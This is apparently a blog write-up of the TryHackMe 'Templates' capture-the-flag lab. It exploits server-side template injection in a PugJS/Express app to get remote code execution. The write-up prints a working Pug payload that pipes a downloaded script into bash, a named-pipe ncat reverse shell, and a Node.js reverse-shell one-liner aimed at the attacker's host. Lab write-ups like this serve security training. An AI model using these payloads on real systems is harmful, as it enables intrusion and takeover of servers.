Lab Write-Up: TryHackMe - Templates

Cybersecurity Labs
2026-01-18

Overview

Lab: TryHackMe / Templates

Type: Web

TL;DR: Server-side template injection in a Node.js (PugJS) application leads to remote code execution

Questions

  • Hack the application and uncover a flag!

Initial Scan

I started out with an obligatory nmap scan just to see some information on what services were running.

root@ip-10-80-70-120:~# nmap -p- -A -T4 templates.thm -n
Starting Nmap 7.80 ( https://nmap.org ) at 2026-01-16 21:36 GMT
Nmap scan report for templates.thm (10.81.165.182)
Host is up (0.00019s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Node.js (Express middleware)
|_http-title: PUG to HTML
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=1/16%OT=22%CT=1%CU=30455%PV=Y%DS=1%DC=T%G=Y%TM=696AAF7
OS:F%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M23
OS:01ST11NW7%O6=M2301ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4
OS:B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT     ADDRESS
1   0.26 ms 10.81.165.182

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.65 seconds

The scan didn’t really yield much more information than what I already knew - port 5000 is open as a web service. The only additional bit of info was that it’s a node, specifically express, application.

The Application

Taking a look at the application running, it was taking input in the form of a PugJS template and converting it to HTML. That means all I needed to do was figure out how to run code, presumably JavaScript, via PugJS.

Research

I had originally assumed that Pug was a made-up templating system, but figured I’d do a quick Google search, anyway. I found out that it is real - the documentation can be found here.

I read through the documentation a little bit looking for interesting bits of syntax. The first thing I looked at was the includes section. I tried a couple payloads, but nothing was really working out so I moved on. That’s when I found the interpolation section. It lets you run any JavaScript expression and send the results to the screen.

Exploit Attempt 1

I decided to go to HackTricks to see if they had a node payload I could use and they actually had one specifically targetting PugJS (splitting into separate lines for readability).

#{
    function(){
        localLoad=global.process.mainModule.constructor._load;
        sh=localLoad("child_process").exec('curl 10.81.72.206:8001/s.sh | bash')
    }()
}

I updated the URL to the AttackBox IP, set up a shell script called s.sh (from revshells):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u 10.80.70.120 1337 >/tmp/f

I then served it via python3 -m http.server 8001 and set up a listener: nc -lnvp 1337

I ran the payload and got…nothing in the listener. I saw it pulled the s.sh file so I started wondering what happened.

Troubleshooting

I knew that CURL worked so I updated the script to see what was going on:

curl http://10.81.72.206:8001/hmm?d=$(which curl)

I saw the following request come through:

GET /hmm?d=/usr/bin/curl HTTP/1.1

So it was executing, but it just wasn’t actually working. I decided to check if netcat was even installed by updating to which nc and got nothing. So it’s at least not called nc. I tried ncat and busybox as well and still nothing.

Solution

The one thing I did know for sure it had was node so I decided I’d look to see what direct node shells there were. I found this post with a one-liner that I could use: medium article by sylsTyping

I updated the script for my IP and port:

node -e '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1337, "10.81.72.206", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();'

I re-ran the payload and got a connection!

root@ip-10-81-72-206:~# nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 10.81.165.182 34158

whoami confirmed that I had a shell connection so I ran an ls and found flag.txt which held the flag I needed to finish the room.

Reflection

This was kind of a “gimme” challenge, but it was a nice confirmation that the notes and resources I’ve been tracking provide me with good leads. I also got yet another resource from the above medium article: PayloadsAllTheThings

While this wasn’t a very realistic challenge, I have seen “demo” links that do similar, albeit typically more locked down. Likewise, given administrative access to a CMS, it isn’t too far-fetched that you’d be able to update templates in this manner.

Disclaimer
Views are entirely my own and do not represent my employer. All content is provided strictly for educational purposes; the author assumes no liability for misuse.